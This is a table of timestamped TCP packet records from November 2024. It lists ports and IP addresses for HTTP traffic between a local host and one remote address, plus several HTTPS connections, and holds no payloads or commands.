Nov 17, 2024 12:35:35.350931883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.350948095 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.350981951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351052046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351090908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351243973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351281881 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351310968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351326942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351351976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351365089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351429939 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351443052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351454020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351483107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351499081 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351505041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351536989 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351567984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351584911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351602077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.351625919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.351655960 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.352056026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.352076054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.352087021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.352111101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.352138042 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.386048079 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.389302969 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.389302969 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.393929005 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.393944025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.393955946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.393986940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.394012928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.399058104 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.399355888 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.428572893 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.458518982 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.458555937 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.459367037 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.468766928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468806028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468820095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468823910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.468832970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468851089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.468873978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.468926907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468940020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468951941 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.468976974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469002962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469042063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469082117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469094038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469106913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469151020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469151974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469189882 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469316006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469367027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469378948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469410896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469439030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469439983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469470978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469513893 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469677925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469688892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469727039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469755888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469794035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469818115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469829082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469856977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469871044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.469897985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469908953 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.469944954 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470125914 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470202923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470213890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470220089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470240116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470252037 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470299959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470312119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470323086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470335960 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470346928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470366955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470391035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470473051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470487118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470499992 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470511913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.470530987 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470555067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.470944881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.471000910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.471038103 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.501770973 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.501936913 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.501951933 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.502017021 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.502039909 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.512656927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.512672901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.512720108 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.512756109 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.512850046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.526535988 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.526570082 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.526639938 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.526878119 CET	49849	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.526895046 CET	443	49849	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.585706949 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.585747004 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.586249113 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.586256027 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.586680889 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.586725950 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.587079048 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.587095976 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.587610006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587637901 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587644100 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.587661028 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.587670088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587677002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587702036 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587723017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587733030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587737083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587754965 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.587760925 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.587766886 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587793112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587824106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587836027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587848902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587862015 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587873936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587914944 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.587933064 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.587973118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588049889 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588084936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588099003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588119030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588141918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588150978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588164091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588184118 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.588186979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588188887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588224888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588226080 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.588376045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588414907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588417053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588426113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588460922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588490963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588505983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588516951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588527918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588546038 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588563919 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588800907 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.588809013 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.588867903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588879108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588891029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588911057 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588939905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.588973999 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588984966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.588998079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589013100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589059114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589215994 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.589226007 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.589294910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589338064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589340925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589353085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589380026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589396000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589411974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589425087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.589462996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.589704990 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.589710951 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.629805088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.629853010 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.629865885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.629942894 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.629944086 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.631263971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.631277084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.631288052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.631331921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.631350994 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.657387972 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.679279089 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.679363012 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.679629087 CET	49848	443	192.168.2.5	52.159.108.190
Nov 17, 2024 12:35:35.679656029 CET	443	49848	52.159.108.190	192.168.2.5
Nov 17, 2024 12:35:35.706207037 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706238985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706249952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706290007 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706301928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706304073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706314087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706326962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706356049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706356049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706382990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706506014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706518888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706532001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706543922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706552029 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706556082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706583977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706814051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706854105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706866026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706903934 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706919909 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.706979990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.706991911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707014084 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707029104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707134962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707170010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707207918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707220078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707248926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707256079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707287073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707309961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707333088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707344055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707381010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707501888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707565069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707576990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707590103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707601070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707621098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.707910061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707946062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707957983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.707993984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.708010912 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.708056927 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.708092928 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.708214998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.708250046 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.708255053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.708266973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.708290100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.708300114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.708328962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.711692095 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.711787939 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.711810112 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.711961985 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.712037086 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.712042093 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.712085962 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.712934017 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.713076115 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.713080883 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.713135004 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.713426113 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.716392994 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.716562986 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.716897964 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.716922045 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.716937065 CET	49846	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.716938019 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.716944933 CET	443	49846	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.719849110 CET	49845	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.719887018 CET	443	49845	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.725548029 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.725548029 CET	49843	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.725568056 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.725590944 CET	443	49843	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.727176905 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.727184057 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.727199078 CET	49844	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.727205038 CET	443	49844	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.735553980 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.735553980 CET	49847	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.735575914 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.735598087 CET	443	49847	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.742048025 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.742114067 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.742175102 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.742326975 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.742364883 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.742475033 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.743746996 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.743773937 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.743854046 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.743937969 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.743959904 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.744030952 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.744695902 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.744712114 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.744746923 CET	49852	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.744767904 CET	443	49852	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.744781971 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.744836092 CET	49853	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.744851112 CET	443	49853	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.745294094 CET	49854	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.745307922 CET	443	49854	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.745310068 CET	49855	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.745326996 CET	443	49855	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.745362043 CET	49856	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:35.745371103 CET	443	49856	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:35.829323053 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:35.833358049 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.833456993 CET	443	49857	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.833581924 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.833632946 CET	49857	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.833636999 CET	443	49858	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.833683014 CET	49858	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.834218979 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.834239006 CET	443	49859	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:35.834330082 CET	49859	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.834491968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:35.834614992 CET	49860	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:35.834677935 CET	443	49860	13.107.246.57	192.168.2.5
